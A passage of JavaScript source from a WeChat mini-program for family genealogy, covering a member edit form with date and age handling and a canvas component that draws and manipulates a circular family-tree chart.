nation: _this.data.nation_list[_this.data.index],
mailbox:member.mailbox,
description:member.description,
buryAddr: _this.data.buryAddr,
coordinate: _this.data.coordinate,
}
}
var url = _this.data.type=="add"?"/wx/familyMember/saveFamilyMember":"/wx/familyMember/updateFamilyMember"
if(_this.data.type=="add"){
data.inmap["sourseId"] = _this.data.fromid
data.inmap["relationType"] = _this.data.relationship
}
if(!_this.data.postFlag){
_this.data.postFlag = true;
doPost(url,data,function(res){
if(res.code==0){
wx.hideLoading()
wx.showToast({
title: (_this.data.type=="add"?"添加":"编辑")+"成员成功",
icon: 'success',
duration: 2000
})
setTimeout(() => {
wx.navigateBack({delta:1});//模拟返回操作
}, 2000);
}else{
_this.data.postFlag = false;
_this.setData({ is_Submission: true }); //提交按钮置灰
wx.hideLoading()
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
}
}
},
changeAvatar:function(){
var _this = this;
if (_this.data.isSave || (!is_empty(_this.data.userid) && _this.data.isUpdate)){
wx.chooseImage({
count: 1,
sizeType: ['original', 'compressed'],
sourceType: ['album', 'camera'],
success(res) {
// tempFilePath可以作为img标签的src属性显示图片
const tempFilePath = res.tempFilePaths[0]
if (tempFilePath) {
_this.data.alert.imageSelect(tempFilePath, true, function (tImageFile) {
//上传文件到服务器功能开始
doUpload('/user/uploadHeadImg', 'headImg', tImageFile, {
familyId: parseInt(_this.data.familyid),
}, function (res) {
if (res.code == 0) {
_this.setData({
['member.header']: res.data
})
} else {
_this.data.alert.tips(res.msg, 2000);
}
})
})
}else{
wx.showToast({
title: '请选择图片',
icon: 'error',
duration: 2000
})
}
}
})
}
},
birthTime:function(e){
let _this =this;
let birth = e.detail.value;
let deathTime = _this.data.deathTime;
var birArr = birth.split(/[^0-9]/ig);
let birthTime = birArr[0] + '年' + birArr[1] + '月' + birArr[2] + '日';
_this.setData({ birthTime: birthTime });
_this.ages(birthTime, deathTime);
},
input_birthTime:function(e) {
let _this = this;
let birthTime = e.detail.value;
let deathTime = _this.data.deathTime;
_this.setData({ birthTime: birthTime });
},
deathTime: function (e) {
let _this = this;
let death = e.detail.value;
let birthTime = _this.data.birthTime;
var dirArr = death.split(/[^0-9]/ig);
let deathTime = dirArr[0] + '年' + dirArr[1] + '月' + dirArr[2] + '日';
_this.setData({ deathTime: deathTime });
_this.ages(birthTime, deathTime);
},
input_deathTime: function (e) {
let _this = this;
let deathTime = e.detail.value;
let birthTime = _this.data.deathTime;
_this.setData({ deathTime: deathTime });
},
//算享年
ages: function (birthTime, deathTime){
let _this = this;
let time_zz = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$|(^\d{4}年\d{1,2}月\d{1,2}日$)$/;//出生年月日正常 xxxx-xx-xx
if (time_zz.test(birthTime) && time_zz.test(deathTime) && is_empty(_this.data.age)) {
var birArr = birthTime.split(/[^0-9]/ig);
var birYear = parseInt(birArr[0]);
var birMonth = parseInt(birArr[1]);
var birDay = parseInt(birArr[2]);
var dirArr = deathTime.split(/[^0-9]/ig);
var dirYear = parseInt(dirArr[0]);
var dirMonth = parseInt(dirArr[1]);
var dirDay = parseInt(dirArr[2]);
let ageDiff = dirYear - birYear;
if (ageDiff > 0){
_this.setData({ age: ageDiff + 1 })
} else if (ageDiff == 0){
if (dirMonth - birMonth > 0) {
_this.setData({ age: ageDiff + 1 })
} else if (dirMonth - birMonth ==0){
if (dirDay - birDay > 0 || dirDay - birDay == 0) {
_this.setData({ age: ageDiff + 1 })
}
}
}else{
showToast('辞世日期小于出生日期')
}
}
},
input_age:function(e){
console.log(e);
let _this = this;
_this.setData({age:e.detail.value})
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
//监听页面高度(上滑或者下滑)
onPageScroll: function (obj) {
this.setData({
scrollTop: obj.scrollTop
})
},
goTop: function () { // 一键回到顶部
let _this = this;
if (_this.data.scrollTop>280) {
wx.pageScrollTo({
scrollTop: 0
})
} else {
}
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
}, commonMixin))<file_sep>import {
extendObj, is_empty, is_number,doPost
} from "../../utils/util.js"
const computedBehavior = require('miniprogram-computed')
const app = getApp()
const config = require("../../config.js")
var commonMixin = require('../../utils/commonMixin.js')
var isonetouch = true
var onetouch = {
x: 0,
y: 0
}
var twotouch = {
x1: 0,
y1: 0,
x2: 0,
y2: 0
}
var touchmoving = false;
Component({
behaviors: [computedBehavior],
data: {
// 组件内使用到的一些变量
alert:null,
backBtn:true,
levelBtn:true,
searchBtn:true,
helpBtn:true,
changelevels:false,
showsearch: false,
showsearchlist: false,
showdetail:false,
showhelp:false,
showop:false,
showAddMember:false,
tap:null,
dbtap:null,
longtap:null,
edittap:null,
viewtap:null,
addtap:null,
deltap:null,
sharetap:null,
width:0,
height:0,
member_list:[],
click_count:0,
dbclick_timeout: null,
showtype: "first",
userId: "",
sharestart:"",
shareid: "",
sharecode: "",
scale : 1,
rotate : 0,
ctx: null,
editinfo:{
member: null,
btns: [],
x:0,
y:0
},
member_scaleY: 1,
op_scaleY:1,
familyId:0,
detailinfo: {
gender: '',
name: '',
birthTime: '',
deathTime: '',
age: '',
fatherName: '',
motherName: '',
description: ''
},
search_form: {
fullname:"",
namezi:"",
fname:"",
mname:""
},
searchlist: [],
childType: {
"NORMAL": "亲子",
"STEP": "继子",
"FZCF": "出抚",
"EMPTY": "",
"FUSUN": "抚孙",
},
member_base_css:{
width: 0,
height: 0,
borderRadius: 0,
fontSize: 0,
lineHeight: 0
},
canvas_css:{
width: 0,
height: 0
},
jiapu_content_css:{
width:0,
height:0,
rotateX:0,
left: 0,
top: 0,
rotateZ:0
},
jiapu_bg_css:{
width: 0,
height: 0,
borderRadius: 0
},
jiapu_circle_css:{
width: 0,
height: 0,
borderRadius: 0,
rotate:0,
backgroundImagePath: "",
},
es_bg: {
borderColor: "transparent",
background: "url('" + config.baseOss +"/attachment/images/es_bg.png') center center no-repeat",
backgroundSize:"auto 100%",
borderRadius:0,
},
ed_bg: {
borderColor: "transparent",
background: "url('" + config.baseOss +"/attachment/images/ed_bg.png') center center no-repeat",
backgroundSize: "auto 100%",
borderRadius: 0,
},
man_bg: {
borderColor: "transparent",
background: "url('" + config.baseOss +"/attachment/images/man_bg.png') center center no-repeat",
backgroundSize: "auto 100%",
borderRadius: 0,
},
fm_bg: {
borderColor: "transparent",
background: "url('" + config.baseOss +"/attachment/images/fm_bg.png') center center no-repeat",
backgroundSize: "auto 100%",
borderRadius: 0,
},
sel_bg: {
borderColor: "transparent",
background: "url('" + config.baseOss +"/attachment/images/sel_bg.png') center center no-repeat",
backgroundSize: "auto 100%",
borderRadius: 0,
},
died_bg: {
borderColor: "transparent",
background: "url('" + config.baseOss +"/attachment/images/died_bg.png') center center no-repeat",
backgroundSize: "auto 100%",
borderRadius: 0,
},
member_self_css: {},
member_man_css: {},
member_female_css: {},
member_died_css: {},
member_unknow_css: {},
member_man_sort1_css: {},
member_female_sort1_css: {},
//插件使用到的一些变量
member_data: null, //数据
center_circle: { //中间环
url: "",
x: 0,
y: 0,
w: 0,
h: 0,
},
base_line: { //长子线
url: "",
x: 0,
y: 0,
w: 0,
h: 0,
},
space_width: 50, //环间距
name_width: 48,
name_height: 48,
name_fontsize: 14,
line_width: 1,
levels: 5, //9代,5代
onclickmember: null, //点击用户事件
ondbclickmember: null, //双击用户事件
rotateX: 60, //沿X轴反转角度
landscape:true,//是否横屏
baseOss:config.baseOss,
xhrpromise:[],
},
computed:{
levelName:function(data){
var ln = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九"]
return ln[data.levels] + "世";
}
},
lifetimes:{
attached: function () {
const _this = this
_this.data.alert = _this.selectComponent("#alert")
_this.data.userId = app.globalData.userInfo.userid
_this.data.familyid = app.globalData.userInfo.familyid
var context = wx.createCanvasContext('jiapu_views', _this)
_this.data.ctx = context
/*_this.setData({
ctx: context
})*/
var query = wx.createSelectorQuery().in(_this)
//query.select('#jiapu_views').fields({ node: true, size: true }).exec((res) => {
// var canvas = res[0].node
// var ctx = canvas.getContext('2d')
// _this.data.ctx = ctx
//})
query.select('#jiapu_outside_box').boundingClientRect((res) => {
var c_w = res.width;
var c_h = res.height;
var scale = 1;
if (_this.data.landscape) {
if ((c_h / c_w) < Math.cos(_this.data.rotateX * Math.PI / 180)) {
if (c_h < _this.data.space_width * 4) {
scale = c_h / ((_this.data.space_width * (_this.data.levels) * 2 + 200) * Math.cos(_this.data.rotateX * Math.PI / 180))
} else {//c_w - 50;//留空隙
scale = (c_h) / ((_this.data.space_width * (_this.data.levels) * 2 + 200) * Math.cos(_this.data.rotateX * Math.PI / 180));
}
} else {
if (c_w < _this.data.space_width * 4) {
scale = c_w / (_this.data.space_width * (_this.data.levels) * 2 + 200);
} else {//c_h - 50;//留空隙
scale = (c_w) / (_this.data.space_width * (_this.data.levels) * 2 + 200);
}
}
} else {
if ((c_w / c_h) < Math.cos(_this.data.rotateX * Math.PI / 180)) {
if (c_w < _this.data.space_width * 4) {
scale = c_w / ((_this.data.space_width * (_this.data.levels) * 2 + 200) * Math.cos(_this.data.rotateX * Math.PI / 180));
} else {//c_w - 50;//留空隙
scale = (c_w) / ((_this.data.space_width * (_this.data.levels) * 2 + 200) * Math.cos(_this.data.rotateX * Math.PI / 180));
}
} else {
if (c_h < _this.data.space_width * 4) {
scale = c_h / (_this.data.space_width * (_this.data.levels) * 2 + 200);
} else {//c_h - 50;//留空隙
scale = (c_h) / (_this.data.space_width * (_this.data.levels) * 2 + 200);
}
}
}
_this.data.height = c_h
_this.data.width = c_w
_this.setData({
//height: c_h,
//width: c_w,
scale: scale,
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
left: c_w / 2,
top: c_h / 2
}])
})
}).exec();
}
},
methods: {
naviback:function(){
var _this = this
wx.navigateBack({
delta: 1
})
},
init: function (obj) {
var _this = this
if (obj) {
if (!is_empty(obj.scale)) {
_this.setData({
scale:obj.scale
})
}
if (!is_empty(obj.left)) {
_this.setData({
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
left: obj.left
}])
})
}
if (!is_empty(obj.top)) {
_this.setData({
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
top: obj.top
}])
})
}
if (!is_empty(obj.backBtn)) {
_this.setData({
backBtn:obj.backBtn
})
}
if (!is_empty(obj.levelBtn)) {
_this.setData({
levelBtn:obj.levelBtn
})
}
if (!is_empty(obj.searchBtn)) {
_this.setData({
searchBtn:obj.searchBtn
})
}
if (!is_empty(obj.helpBtn)) {
_this.setData({
helpBtn:obj.helpBtn
})
}
if (!is_empty(obj.tap)) {
_this.data.tap = obj.tap
}
if (!is_empty(obj.dbtap)) {
_this.data.dbtap = obj.dbtap
}
if (!is_empty(obj.longtap)) {
_this.data.longtap = obj.longtap
}
if (!is_empty(obj.edittap)) {
_this.data.edittap = obj.edittap
}
if (!is_empty(obj.viewtap)) {
_this.data.viewtap = obj.viewtap
}
if (!is_empty(obj.addtap)) {
_this.data.addtap = obj.addtap
}
if (!is_empty(obj.deltap)) {
_this.data.deltap = obj.deltap
}
if (!is_empty(obj.sharetap)) {
_this.data.sharetap = obj.sharetap
}
if (!is_empty(obj.showtype)) {
_this.data.showtype = obj.showtype
}
if (!is_empty(obj.shareid)) {
_this.data.shareid = obj.shareid
}
if (!is_empty(obj.sharecode)) {
_this.data.sharecode = obj.sharecode
}
if (!is_empty(obj.userId)) {
_this.data.userId = obj.userId;
}
if (!is_empty(obj.familyid)) {
_this.data.familyid = obj.familyid;
}
if (!is_empty(obj.sharestart)) {
_this.data.sharestart = obj.sharestart;
}
if (typeof (obj.center_circle) == "object") {
_this.data.center_circle = extendObj([{}, _this.data.center_circle, obj.center_circle]);
}
if (typeof (obj.base_line) == "object") {
_this.data.base_line = extendObj([{}, _this.data.base_line, obj.base_line]);
}
if (typeof (obj.space_width) == "number") {
_this.data.space_width = obj.space_width;
}
if (typeof (obj.name_width) == "number") {
_this.setData({
name_width:obj.name_width
})
}
if (typeof (obj.name_height) == "number") {
_this.setData({
name_height:obj.name_height
})
}
if (typeof (obj.name_fontsize) == "number") {
_this.setData({
name_fontsize: obj.name_fontsize
});
}
if (typeof (obj.line_width) == "number") {
_this.data.line_width = obj.line_width;
}
if (typeof (obj.levels) == "number") {
_this.data.levels = obj.levels;
}
if (typeof (obj.rotateX) == "number") {
_this.setData({ rotateX : obj.rotateX })
}
}
_this.setData({
op_scaleY : 1 / Math.cos(Math.PI * _this.data.rotateX/ 180),
member_scaleY: 1 / (Math.cos(Math.PI * _this.data.rotateX / 180) * Math.cos(Math.PI * _this.data.rotateX / 180))
})
//_this.data.member_scaleY = 1 / (Math.cos(Math.PI * _this.data.rotateX / 180) * Math.cos(Math.PI * _this.data.rotateX / 180))
_this.data.member_base_css = extendObj([{}, _this.data.member_base_css, {
width: _this.data.name_width,
height: _this.data.name_height,
borderRadius: (_this.data.name_height / 2),
fontSize: _this.data.name_fontsize,
lineHeight: _this.data.name_height
}])
_this.data.member_self_css = extendObj([{}, _this.data.member_self_css, _this.data.member_base_css, _this.data.sel_bg, {
color: "#fff"
}])
_this.data.member_man_css = extendObj([{}, _this.data.member_man_css, _this.data.member_base_css, _this.data.man_bg, {
color: "#fff"
}])
_this.data.member_female_css = extendObj([{}, _this.data.member_female_css, _this.data.member_base_css, _this.data.fm_bg, {
color: "#fff"
}])
_this.data.member_died_css = extendObj([{}, _this.data.member_died_css, _this.data.member_base_css, _this.data.died_bg, {
color: "#000"
}])
_this.data.member_unknow_css = extendObj([{}, _this.data.member_unknow_css, _this.data.member_base_css, {
borderColor: "#0ff",
background: "#0ff",
color: "#fff"
}])
_this.data.member_man_sort1_css = extendObj([{}, _this.data.member_man_sort1_css, _this.data.member_man_css, _this.data.es_bg])
_this.data.member_female_sort1_css = extendObj([{}, _this.data.member_female_sort1_css, _this.data.member_female_css, _this.data.ed_bg])
_this.setData({
canvas_css: extendObj([{}, _this.data.canvas_css, {
width: _this.data.space_width * (_this.data.levels) * 2,
height: _this.data.space_width * (_this.data.levels) * 2
}]),
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
width: (_this.data.space_width * (_this.data.levels) * 2 + 200),
height: (_this.data.space_width * (_this.data.levels) * 2 + 200),
rotateX: _this.data.rotateX,
rotateZ: _this.data.landscape ? 0 : 90
}]),
jiapu_bg_css: extendObj([{}, _this.data.jiapu_bg_css, {
width: _this.data.space_width * (_this.data.levels) * 2 + 100,
height: _this.data.space_width * (_this.data.levels) * 2 + 100,
borderRadius: (_this.data.space_width * (_this.data.levels) * 2 + 100) / 2
}]),
jiapu_circle_css: extendObj([{}, _this.data.jiapu_circle_css, {
width: _this.data.space_width * (_this.data.levels) * 2,
height: _this.data.space_width * (_this.data.levels) * 2,
borderRadius: _this.data.space_width * (_this.data.levels)
}]),
})
var params = {
"inmap": {
"type": _this.data.showtype,
"id": _this.data.userId,
"operatorId": _this.data.showtype == "share" ? "" : app.globalData.userInfo.userid,
"localFamilyMemberId": _this.data.showtype == "share" ? _this.data.sharestart : "",
"shareId": _this.data.shareid,
"openId": app.globalData.userInfo.openid,
"shareCode": _this.data.sharecode,
"familyId": _this.data.familyid,
"upLevel": (_this.data.levels - 1) / 2,
"downLevel": (_this.data.levels - 1) / 2,
}
}
_this.data.alert.loading("加载中...", "icon5")
doPost("/wx/familyMember/getFamilyMemberGalaxyByInitialize", params, function (res) {
if (res.code == 0) {
_this.data.member_data = res.data.members;
_this.data.familyid = res.data.query.familyId
_this.draw()
} else {
_this.data.alert.hide()
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
},
showDetailInfo: function (obj) {
var _this = this;
if(!is_empty(obj) &&!is_empty(obj.id)){
doPost("/wx/familyMember/getFamilyMember", { "inmap": {
"familyMemberId": obj.id,
"familyId": _this.data.familyid,
"operatorId": _this.data.showtype == "share" ? "" :app.globalData.userInfo.userid,
"type": _this.data.showtype,
"shareId": _this.data.shareid,
"openId": app.globalData.userInfo.openid,
"shareCode": _this.data.sharecode,
}},function(res){
if(res.code==0){
var member = res.data.member;
_this.setData({
detailinfo: {
isLiving: member.isLiving,
originAreaDetails: member.originAreaDetails ? member.originAreaDetails : '',
gender: member.gender,
name: member.firstname + member.lastname,
birthTime: member.birthTime?member.birthTime:'',
deathTime: member.deathTime?member.deathTime:'',
age: member.age?member.age:'',
fatherName: member.father?(member.father.firstname + member.father.lastname):'',
motherName: member.mother?(member.mother.firstname + member.mother.lastname):'',
description:member.description?member.description:'未填写...',
},
showdetail: true
})
}else{
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
}
},
closeDetailInfo: function () {
this.setData({
showdetail: false
})
},
showSearchForm: function () {
var _this = this;
_this.setData({
search_form: {
fullname: "",
namezi: "",
fname: "",
mname: ""
},
showsearch: true
})
},
closeSearchForm: function () {
this.setData({
showsearch: false
})
},
searchSubmit: function(){
var _this = this
var search_form = _this.data.search_form
if (!is_empty(search_form.fullname) || !is_empty(search_form.namezi) || !is_empty(search_form.fname) || !is_empty(search_form.mname)) {
doPost("/wx/familyMember/getFamilyMemberGalaxyByCondition", {
inmap: {
type: _this.data.showtype,
operatorId: _this.data.showtype == "share" ? "" : app.globalData.userInfo.userid,
localFamilyMemberId: _this.data.showtype == "share" ? _this.data.sharestart : "",
shareId: _this.data.shareid,
openId: app.globalData.userInfo.openid,
shareCode: _this.data.sharecode,
familyId: _this.data.familyid,
firstName: search_form.namezi,
name: search_form.fullname,
fatherName: search_form.fname,
motherName: search_form.mname,
}
}, function (res) {
if (res.code == 0) {
if (is_empty(res.data.members)) {
wx.showToast({
title: '没有找到结果',
icon: 'none',
duration: 2000
})
} else {
_this.closeSearchForm()
if (res.data.members.length == 1) {
var member = res.data.members[0]
_this.init({ userId: member.id })
} else {
_this.showSearchList(res.data.members)
}
}
} else {
_this.closeSearchForm()
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
}
},
showSearchList: function (list) {
var _this = this;
if (!is_empty(list)) {
_this.setData({
searchlist: list,
showsearchlist: true,
})
}
},
closeSearchList: function () {
var _this = this;
_this.setData({
searchlist: [],
showsearchlist: false,
})
},
choseResult: function (e) {
var _this = this;
var idx = e.currentTarget.dataset.id;
var member = _this.data.searchlist[idx]
if (member) {
_this.closeSearchList();
_this.init({ userId: member.id })
}
},
handleLongTap: function (e) {
var _this = this;
var idx = e.currentTarget.dataset.id;
var member = _this.data.member_list[idx]
console.log(member)
console.log('handleLongTap')
if(_this.data.longtap instanceof Function){
_this.data.longtap(member)
}
},
showEdit:function(member){
var _this = this;
var btns = [];
if (member.isUpdate) {
btns.push({ name: "编辑", tap: "editMember", icon: config.baseOss + '/attachment/images/editjiapu_edit_icon.png' })
}
if (member.isSave) {
btns.push({ name: "添加", tap: "addMember", icon: config.baseOss + '/attachment/images/editjiapu_add_icon.png' })
}
if (member.isShare) {
btns.push({ name: "分享", tap: "shareMember", icon: config.baseOss + '/attachment/images/editjiapu_share_icon.png' })
}
btns.push({ name: "查看", tap: "viewMember", icon: config.baseOss + '/attachment/images/editjiapu_view_icon.png' })
if (member.isDele) {
btns.push({ name: "删除", tap: "delMember", icon: config.baseOss + '/attachment/images/editjiapu_del_icon.png' })
}
if (btns.length > 1) {
var r = (btns.length * _this.data.name_height * 0.75 + _this.data.name_height) / Math.cos(_this.data.rotateX * Math.PI / 180)
_this.setData({
editinfo:{
member: member,
btns: btns,
left: member.css.left + r * Math.sin(-_this.data.rotate * Math.PI / 180),
top: member.css.top - r * Math.cos(-_this.data.rotate * Math.PI / 180),
},
showop:true
});
} else {
_this.data.editinfo.member = member
_this.setData({
showop: false
})
_this.viewMember()
}
},
hideEdit: function () {
var _this = this;
_this.setData({
editinfo: {
member: null,
btns: [],
left: 0,
top: 0
},
showop: false
})
},
editMember: function () {
var _this = this;
if(_this.data.edittap instanceof Function){
_this.data.edittap(_this.data.editinfo.member)
}
},
viewMember: function () {
var _this = this;
if(_this.data.viewtap instanceof Function){
_this.data.viewtap(_this.data.editinfo.member)
}
},
addMember: function () {
var _this = this;
_this.setData({
showAddMember: true
});
},
closeAddForm: function () {
var _this = this;
_this.setData({
showAddMember:false
});
},
addMemberByType: function (e) {
var _this = this;
var type = e.currentTarget.dataset.type
if (type) {
if(_this.data.addtap instanceof Function){
_this.data.addtap(_this.data.editinfo.member,type)
}
}
},
delMember: function () {
var _this = this;
if(_this.data.deltap instanceof Function){
_this.data.deltap(_this.data.editinfo.member)
}
},
shareMember: function () {
var _this = this;
if(_this.data.sharetap instanceof Function){
_this.data.sharetap(_this.data.editinfo.member)
}
},
showHelpTips: function () {
var _this = this;
_this.setData({
showhelp: _this.data.showhelp ? false : true
})
},
showChangeLevels:function(){
var _this = this;
_this.setData({
showChangeLevels: _this.data.showChangeLevels?false:true
})
},
changeLevels:function(e){
var _this =this;
var levels = parseInt(e.currentTarget.dataset.levels);
if ((levels == 3 || levels == 5) && levels!= _this.data.levels) {
_this.data.levels = levels
_this.setData({
showChangeLevels: false
})
_this.init()
} else {
_this.setData({
showChangeLevels: false
})
}
},
fixImage: function (type) {
var _this = this;
setTimeout(() => {
wx.canvasToTempFilePath({
canvasId: "jiapu_views",
fileType: "png",
success: (res) => {
let tempFilePath = res.tempFilePath;
//var fileManager = wx.getFileSystemManager();
_this.setData({
["jiapu_circle_css.backgroundImagePath"]: tempFilePath,
});
console.log("画背景", tempFilePath)
_this.data.alert.hide()
}
}, _this);
},1000)
},
handleClick: function (e) {
var _this = this;
var idx = e.currentTarget.dataset.id;
_this.data.click_count = _this.data.click_count + 1
if (_this.data.dbclick_timeout) {
clearTimeout(_this.data.dbclick_timeout)
_this.data.dbclick_timeout = null
}
_this.data.dbclick_timeout = setTimeout(function () {
var member = _this.data.member_list[idx]
console.log(member)
if (_this.data.click_count > 1) {
if(_this.data.dbtap instanceof Function){
_this.data.dbtap(member)
}
} else {
if(_this.data.tap instanceof Function){
_this.data.tap(member)
}
}
_this.data.click_count = 0
}, 500);
},
moveStart: function (e) {
var _this = this
if (e.touches.length ==1) {
isonetouch= true
onetouch= {
x: e.touches[0].pageX,
y: e.touches[0].pageY
}
} else if (e.touches.length == 2) {
isonetouch= false
twotouch= {
x1: e.touches[0].pageX,
y1: e.touches[0].pageY,
x2: e.touches[1].pageX,
y2: e.touches[1].pageY
}
}
},
moveMove: function (e) {
var _this = this
if (!touchmoving) {
touchmoving = true;
setTimeout(() => { touchmoving = false},40)//节流算法,40毫秒响应一次移动,25帧标准
if (e.touches.length == 1 && isonetouch) {
var onePointDiffX = e.touches[0].pageX - onetouch.x
var onePointDiffY = e.touches[0].pageY - onetouch.y
var c_y = _this.data.jiapu_content_css.top;
var c_x = _this.data.jiapu_content_css.left;
var t_y = c_y + onePointDiffY;
var t_x = c_x + onePointDiffX;
_this.setData({
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
top: t_y,
left: t_x
}])
})
onetouch = {
x: e.touches[0].pageX,
y: e.touches[0].pageY
}
} else if (e.touches.length == 2) {
var preTwoPoint = JSON.parse(JSON.stringify(twotouch))
twotouch = {
x1: e.touches[0].pageX,
y1: e.touches[0].pageY,
x2: e.touches[1].pageX,
y2: e.touches[1].pageY
}
// 计算角度,旋转(优先)
var perAngle = preTwoPoint.x1 == preTwoPoint.x2?90:Math.atan((preTwoPoint.y1 - preTwoPoint.y2) / (preTwoPoint.x1 - preTwoPoint.x2)) * 180 / Math.PI
var curAngle = twotouch.x1 == twotouch.x2 ? 90 : Math.atan((twotouch.y1 - twotouch.y2) / (twotouch.x1 - twotouch.x2)) * 180 / Math.PI
if (Math.abs(perAngle - curAngle) > 1) {
_this.setData({
rotate: _this.data.rotate + (curAngle - perAngle),
jiapu_circle_css: extendObj([{}, _this.data.jiapu_circle_css, {
rotate: _this.data.jiapu_circle_css.rotate + (curAngle - perAngle)
}])
})
} else {
// 计算距离,缩放
var preDistance = Math.sqrt(Math.pow((preTwoPoint.x1 - preTwoPoint.x2), 2) + Math.pow((preTwoPoint.y1 - preTwoPoint.y2), 2))
var curDistance = Math.sqrt(Math.pow((twotouch.x1 - twotouch.x2), 2) + Math.pow((twotouch.y1 - twotouch.y2), 2))
_this.setData({
scale: _this.data.scale * (curDistance / preDistance)
})
}
}
}
},
moveEnd: function (e) {
var _this = this
isonetouch = false
},
dorotate: function (type) {
var _this = this
var rotate = _this.data.rotate
if (type) {
if (typeof (type) == "boolean") {
if (type) {
rotate = rotate + 30;
} else {
rotate = rotate - 30;
}
} else {
var c_rotate = is_number(type) ? parseFloat(type) : 0;
rotate = rotate + c_rotate;
}
} else {
rotate = rotate - 30;
}
rotate = rotate > 360 ? rotate - 360 : rotate;
rotate = rotate < -360 ? rotate + 360 : rotate;
_this.setData({
rotate: rotate,
jiapu_circle_css: extendObj([{}, _this.data.jiapu_circle_css, { rotate: rotate}])
})
return true;
},
doscale: function (type) {
var _this = this
var scale = _this.data.scale
if (type) {
scale = scale * 1.1;
} else {
scale = scale * 0.9;
}
scale = scale > 1.5 ? 1.5 : scale;
scale = scale < 0.1 ? 0.1 : scale;
_this.setData({
scale: scale,
})
return true;
},
getmember: function (type) {//获取用户,无参数返回自己,true返回长子,false返回father
var _this = this
if (typeof (type) == "undefined") {
return _this.data.member_data;
} else if (type) {
if (_this.data.member_data.isForeigner) {
return _this.data.member_data.partner.children.length > 0 ? _this.data.member_data.partner.children[0] : null;
} else {
return _this.data.member_data.children.length > 0 ? _this.data.member_data.children[0] : null;
}
} else {
if (_this.data.member_data.isForeigner) {
return _this.data.member_data.partner.father ? _this.data.member_data.partner.father : null;
} else {
return _this.data.member_data.father ? _this.data.member_data.father : null;
}
}
},
draw:function(){
var _this = this
var child_count = _this.count_child([_this.data.member_data], 0);
_this.data.xhrpromise = [];
//要如何重置wxs的一些属性
_this.setData({
member_list:[]
})
if (_this.data.ctx) {
_this.data.ctx.clearRect(0, 0, _this.data.canvas_css.width, _this.data.canvas_css.height);
_this.data.ctx.save();
_this.data.ctx.lineWidth = _this.data.line_width
for (var i = 1; i < (_this.data.levels); i++) {
_this.data.ctx.beginPath();
if (i == ((_this.data.levels - 1) / 2)) {
if (typeof (_this.data.center_circle) == "object" && typeof (_this.data.center_circle.url) == "string" && _this.data.center_circle.url != "") {
var promise1 = new Promise(function (resolve, reject) {
wx.getImageInfo({
src: _this.data.center_circle.url,
success(res) {
resolve({type:'circle',data:res})
}
})
})
_this.data.xhrpromise.push(promise1)
} else {
_this.data.ctx.strokeStyle = 'rgba(164,105,79,0.6)';
_this.data.ctx.setLineDash([15, 0]);
_this.data.ctx.arc(_this.data.space_width * (_this.data.levels), _this.data.space_width * (_this.data.levels), ((i + 0.5) * _this.data.space_width), 0, 2 * Math.PI, false);
}
} else {
_this.data.ctx.strokeStyle = 'rgba(255,255,255,0.4)';
_this.data.ctx.setLineDash([15, 5]);
_this.data.ctx.arc(_this.data.space_width * (_this.data.levels), _this.data.space_width * (_this.data.levels), ((i + 0.5) * _this.data.space_width), 0, 2 * Math.PI, false);
}
_this.data.ctx.closePath();
_this.data.ctx.stroke();
}
_this.data.ctx.setLineDash([15, 0]);
if (typeof (_this.data.base_line) == "object" && typeof (_this.data.base_line.url) == "string" && _this.data.base_line.url != "") {
var promise2 = new Promise(function (resolve, reject) {
wx.getImageInfo({
src: _this.data.base_line.url,
success(res) {
resolve({ type: 'line', data: res })
}
})
})
_this.data.xhrpromise.push(promise2)
} else {
_this.data.ctx.beginPath();
_this.data.ctx.moveTo(_this.data.space_width * (_this.data.levels), _this.data.space_width * (_this.data.levels));
//定义直线的终点坐标为(50,10)
_this.data.ctx.lineTo(_this.data.space_width * (_this.data.levels) * 2, _this.data.space_width * (_this.data.levels));
//沿着坐标点顺序的路径绘制直线
_this.data.ctx.closePath();
_this.data.ctx.stroke();
}
_this.data.ctx.lineWidth = _this.data.line_width * 2
if (_this.data.member_data) {
if (_this.data.member_data.isForeigner) {
_this.draw_parent(_this.data.member_data.partner.father, 0);
} else {
_this.draw_parent(_this.data.member_data.father, 0);
}
var p_f_l = (((_this.data.levels) / 2) - 0.5) * _this.data.space_width;
var p_f_y = (_this.data.space_width * (_this.data.levels)) - (p_f_l * Math.sin(2 * Math.PI * 30 / 360));
var p_f_x = (_this.data.space_width * (_this.data.levels)) + (p_f_l * Math.cos(2 * Math.PI * 30 / 360));
var p_f = { x: p_f_x, y: p_f_y };
if (_this.data.member_data.isForeigner) {
_this.draw_child(child_count, [_this.data.member_data.partner], 0, 360, 0);
} else {
_this.draw_child(child_count, [_this.data.member_data], 0, 360, 0);
}
}
if (_this.data.xhrpromise.length>0){
Promise.all(_this.data.xhrpromise).then(res => {
var dlen = _this.data.xhrpromise.length
for(var i=0;i<dlen;i++){
var pres = res[i]
if (pres.type == "circle") {
_this.data.ctx.drawImage(
pres.data.path,
0, 0,//开始剪切的 x 坐标位置。
pres.data.width, pres.data.height, //被剪切图像的高度。
_this.data.center_circle.x / ((9 - 3.5) / (_this.data.levels - ((_this.data.levels - 1) / 2 + 0.5))), _this.data.center_circle.y / ((9 - 3.5) / (_this.data.levels - ((_this.data.levels - 1) / 2 + 0.5))),
_this.data.center_circle.w / (4.5 / ((_this.data.levels - 1) / 2 + 0.5)), _this.data.center_circle.h / (4.5 / ((_this.data.levels - 1) / 2 + 0.5))
);
} else if (pres.type == "line") {
